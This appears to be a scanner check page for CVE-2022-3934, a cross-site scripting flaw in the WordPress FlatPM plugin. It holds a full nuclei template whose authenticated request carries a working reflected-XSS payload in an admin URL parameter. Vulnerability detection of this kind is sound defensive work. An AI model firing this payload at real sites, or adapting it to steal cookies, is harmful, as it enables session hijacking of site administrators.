WordPress FlatPM <3.0.13 - Cross-Site Scripting

mediumseverity

5.4CVSS score

0.9%likelihood of exploitation, next 30 days

61%of all CVEs are less likely

Readycheck to confirm it

WordPress FlatPM plugin before 3.0.13 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape certain parameters before outputting them back in pages, which can be exploited against high privilege users such as admin. An attacker can steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Fixed in version 3.0.13.

How to confirm it

Send: POST /wp-login.php ; @timeout: 10s
Positive when: status_code_2 == 200 and contains(body_2, "alert(document.domain)") && contains(body_2, "Flat PM")

Run it with nuclei: nuclei -id CVE-2022-3934 -u <target>

The full check

id: CVE-2022-3934

info:
  name: WordPress FlatPM <3.0.13 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress FlatPM plugin before 3.0.13 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape certain parameters before outputting them back in pages, which can be exploited against high privilege users such as admin. An attacker can steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Fixed in version 3.0.13.
  reference:
    - https://wpscan.com/vulnerability/ab68381f-c4b8-4945-a6a5-1d4d6473b73a
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3934
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-3934
    cwe-id: CWE-79
    epss-score: 0.00912
    epss-percentile: 0.60346
    cpe: cpe:2.3:a:mehanoid:flat_pm:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: mehanoid
    product: flat_pm
    framework: wordpress
  tags: cve2022,cve,authenticated,wpscan,xss,flatpm,wordpress,wp-plugin,mehanoid,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        @timeout: 10s
        GET /wp-admin/admin.php?page=blocks_form&block_cat_ID=1%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29%2F%2F HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "alert(document.domain)") && contains(body_2, "Flat PM")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from